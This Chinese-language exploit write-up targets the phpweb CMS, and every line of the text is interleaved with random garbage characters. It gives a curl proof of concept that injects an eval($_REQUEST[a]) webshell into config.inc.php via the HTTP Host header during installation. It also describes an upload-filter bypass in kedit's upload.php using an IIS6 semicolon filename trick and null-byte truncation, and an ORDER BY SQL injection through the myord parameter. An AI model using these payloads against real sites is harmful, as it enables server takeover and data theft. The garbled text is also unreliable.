注入:
/ y7 I- E5 u& t( {+ ]7 O) u8 l9 ^( N$ \$ ~5 Y0 y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
0 g1 y* ~$ k4 y* F! Y K : C' D6 t% w6 m9 F
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
8 o% t2 u, N6 U1 C5 ]( P& r$ a' j2 v鸡肋2: 有一定安全常识的站长都会删掉 install 目录; I. i0 N! t8 L$ b
: d& @7 e; u9 w4 t8 a! Q虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- ^% D* i% n; A2 D: N- U$ S% b5 T9 ]
) J, e- r" ^ z, ?8 d分析:
, T5 S$ b) U; x" H5 C5 k
$ T0 I. P6 f+ ~; o6 Y& m: ? ' D2 q \' E. i& q" g2 E1 d
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤& G, E5 z! @1 v; t* k P1 H
5 `$ c) v4 U1 L9 o7 t
$filestr = fread(fopen($SysConfigFile, 'r'),30000);% _3 r1 F, d' L* N. V: E
$filestr=str_replace(" ","",$filestr);
* y% \* K2 p8 C, ]6 G9 U1 B; ` $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- x) |5 c) H, u2 L $filestr=str_replace("DefaultDbName",$dbname,$filestr);4 E# \. G/ V& b/ ^8 T6 X
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ H: H$ A4 n( X6 U, `' y; C $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
8 W, k: w- D# ^* Y- M $filestr=str_replace("DefaultsLan","zh_cn",$filestr);* E0 W! c; s( ?" {2 ]( ]: F
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
3 ~; k# ?& s$ F( v( Y# s $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
* O+ |# m) t9 z% P1 h. D8 ~1 T $ p2 P( B- j2 v5 ?
fwrite(fopen($ConFile,"w"),$filestr,30000);
$ o2 P' [' r! M( ~# [& _$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
9 _+ b. N$ f$ |: u$ C
, \5 {: l- [8 B8 Opoc:- @& H5 x% T [$ `. \7 X3 e& X
( U$ g+ B/ g$ ]! e- q?' R& t, z5 Y8 t
1 X- h; F8 {+ W# d1 K
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"! C2 z3 T: l9 ^. ^
shell地址: /config.inc.php" S+ x1 {* M5 R
跟之前的 phpcms一样 需要远程数据库- W0 ]$ K0 u( Z+ f9 d
9 s' T& l$ H O: M* ?9 O——————————————————–) x7 X+ M9 g k5 d1 z q& `
上传漏洞(需要进后台):
( S1 ]. R- V5 s% j% y, t漏洞文件: /kedit/upload_cgi/upload.php
5 ?/ ]' z/ A" M8 [* y+ o' l这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
* ` \4 p9 w( d6 N$ } 2 V2 D9 }1 y* R
' j+ d3 y5 I. _1 X<?php
' ?+ K2 G+ c8 b8 R5 n define("ROOTPATH", "../../");
& @, l9 D6 A) |" v include(ROOTPATH."includes/admin.inc.php");. i( L& U8 k0 O5 l, S {4 I
NeedAuth(0);
, n8 Z1 r, i& k. c: H5 @5 j 2 `6 A! x4 w; E3 ?9 g9 f
$dt=date("Ymd",time());. }9 J+ f) X. j) c! r( V& L- ^( _3 X2 v
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 \! y2 U0 C/ ^/ ~0 W! u! R @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);5 h8 S$ b/ {4 l* [, D; u
}
' @4 ^4 p, O2 S4 {/ a s 8 F$ m! t, B9 D9 G, J4 L
//文件保存目录路径
/ d' i2 n& y5 @2 V, `5 B' c $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';9 N" u& v* E6 n, l& |" t
echo $save_path;
7 T2 ]$ C0 E1 X //文件保存目录URL
- F5 A) _5 F( F% z $save_url = '../../'.$_POST['attachPath'].$dt.'/';
q" i) S8 X8 Q; I
/ O( _( P. N4 h1 R0 m) `8 M3 ]: u //定义允许上传的文件扩展名' M u" y( U1 i1 f! D: e
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 j( L3 i5 |$ O4 v
0 y. I1 I4 l3 x4 h //最大文件大小
y4 U9 O3 [) t4 d" T $max_size = 1000000;3 U" ]: W# m2 [* o% }7 v7 t# n
) K& y+ {; X. K: m* c& Q //更改目录权限
. x# c5 G1 g, X @mkdir($save_path, 0777);
6 h6 z/ B- u0 Y* d* I ! T9 x3 N6 \6 ] y4 R
//文件的全部路径 [) b+ h: A* k8 G
$file_path = $save_path.$_POST['fileName']; //保存文件名9 z+ x0 V8 O8 D: Y1 _1 }" o
' p3 ], ]+ N. g, d" j# z7 j) u //文件URL
# a* a0 h- E6 z0 N w' p $file_url = $save_url.$_POST['fileName'];9 E# L/ k; v9 {2 v0 c' y# @
//有上传文件时
$ p) x, ~9 B5 O if (empty($_FILES) === false) {
3 L' p; {4 ?& h5 [
5 H$ z1 _8 A3 v+ _ //原文件名
% E) K, q' A) K) w $file_name = $_FILES['fileData']['name'];0 z7 J- S' o: y! C( d
//服务器上临时文件名8 ^ s6 U4 r, j7 V3 L
$tmp_name = $_FILES['fileData']['tmp_name'];
7 ^/ x1 @- Z' m* w //文件大小7 U; t$ a, {( q
$file_size = $_FILES['fileData']['size'];
$ y& v V4 K l% u4 t! h! S //检查目录
8 G7 t* }. ?6 e9 U) G3 f8 G if (@is_dir($save_path) === false) {" n" D) H7 E& d4 v
alert("上传目录不存在。");
& ^1 R: I9 p2 W, q) {/ W# u$ R: y }
. O e- d/ {1 W: I4 n/ F //检查目录写权限
4 A( v( w% s. l if (@is_writable($save_path) === false) {! O5 G6 m, Z4 i) _
alert("上传目录没有写权限。");9 G2 u. M2 b8 Z+ g; ]: p9 q6 n) c
}# T7 q6 h6 b; g! b G9 A9 d# U
//检查是否已上传 x/ x% i8 s" ]
if (@is_uploaded_file($tmp_name) === false) {
6 B4 O. c1 E, d O- S+ n alert("临时文件可能不是上传文件。");
. `" m8 ~# G; m/ e5 p: ~5 M8 o+ [ }
1 c2 f0 k9 Y3 F- w8 t //检查文件大小. l# M1 Q5 b5 ~3 O8 c
if ($file_size > $max_size) {! ]# w: s) D6 E# t, m6 F# K
alert("上传文件大小超过限制。");, x0 _, P3 M2 h5 o6 h9 t" {. i
}
% Z0 x ^. [* S //获得文件扩展名9 r% L9 D6 J D
$temp_arr = explode(".", $_POST['fileName']);$ j2 L; n& c; h2 M5 D
$file_ext = array_pop($temp_arr);
# p% t* _, h1 T+ @5 x $file_ext = trim($file_ext);: J7 U% A" \0 V! m3 ~+ g' u
$file_ext = strtolower($file_ext);; T$ X2 c0 n* I
5 P( b+ K/ J7 F- l' }4 d! U# {
//检查扩展名
# N6 z' }1 x6 k+ P4 [ if (in_array($file_ext, $ext_arr) === false) {
: g6 `; f/ L( z8 C alert("上传文件扩展名是不允许的扩展名。");
3 d: c5 b, b7 d% }6 V/ @5 ? }
& B `1 ~+ b+ k& V: j2 N* b. S
9 u$ D/ y0 s5 X* M# q: { //移动文件 ' O/ e1 A# y, x8 _3 h
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
: _( F( i: B' V if (move_uploaded_file($tmp_name, $file_path) === false) {) h2 r2 _0 F9 |8 _0 d
alert("上传文件失败。");2 R7 E( f$ q6 j! V( t& v
}/ j8 l& m( x9 Q: t. [* t
8 _1 B! _+ b3 ~9 r# V5 } @chmod($file_path,0666);9 N( Y2 T/ `* t
7 F# N2 E V% t# t4 X ?>
7 p; V3 u$ e/ ?抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227) i- Z. A7 G: x( a2 J
' _; v# Y2 |1 i1 t! d' r0 L
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 N4 k) k2 t2 [3 w
1 G5 A* T' @# C# q$ v—————————————————— O; T2 i0 _5 V' p s! o. h6 [2 P
注入漏洞:6 P+ T4 k3 ]5 v+ D1 M
漏洞文件:search/module/search.php
c+ V+ q1 W' O4 o/search/index.php?key=1&myord=1 [sqlinjection]- [+ H* ~; i$ T/ Y1 N7 R
+ b0 z+ U1 h2 S9 s. V7 g/ s
1 {2 ]8 Y/ ~. V% z0 N
<?php5 V' K( F# F/ P9 I' O
// ... 省略 n 行...
* O" ^6 F! g5 |0 H5 f //第18行:
3 R1 [! Y8 _( M5 u( m $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
+ ]) G8 a, T! ?' l $page=htmlspecialchars($_GET["page"]);5 L; n* o8 U: ~) R) `" ^$ G
$myord=htmlspecialchars($_GET["myord"]);4 N: y8 _5 Z5 X5 s( _. O( d% ^8 p
! I2 Q% e' o3 { N+ Q+ ` i+ D // ... 省略 n 行...
2 e/ o2 p1 U" X4 h( r4 X $key,$myord 两个参数带入查询
& p+ v" q; ]4 p. E: m# h //第47行 $key:$ l* ^. u$ n% d
4 b+ j- n2 F: k: t3 `( a $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..3 Z, R, x# G; S: V( l" \$ g
! ~1 k% {- Q; o; ?3 S: `
//第197行 $myord8 G/ n% ?3 a5 q* K% K
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
" W' u% R6 e7 Q S 0 t; s# s) J$ p2 r2 d) a5 r
?>! G5 @' f0 @& D( V* c+ {; l
|